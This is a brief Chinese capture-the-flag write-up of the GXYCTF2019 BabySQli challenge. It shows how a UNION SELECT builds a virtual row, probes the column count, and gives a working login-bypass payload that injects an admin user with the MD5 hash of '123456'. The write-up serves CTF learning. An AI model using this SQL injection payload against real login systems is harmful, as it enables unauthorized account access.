[GXYCTF2019]BabySQli

界面就只有一个登录框

通过这个题学到了联合注入有个技巧:
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

例如现在有一个表:

我们输入查询语句:

SELECT * FROM `sc` where Sno= '201215121' union select 'admin','admin123','123456'

可以看出当不存在数据时,联合查询会虚构一个虚拟的数据

利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。

所以这道题需要先知道它有几列
输入'union select 1,2,3#

提示wrong user!


输入'union select 1,2,3,4#
提示Error: The used SELECT statements have a different number of columns
说明有三列,猜测第二列使用户名,第三列使密码,而且密码一般使md5加密,所以我们构造payload:
账号:' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
密码:123456

即可得到flag

这道题的精髓就是:
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

最后修改:2020 年 04 月 11 日
如果觉得我的文章对你有用,请随意赞赏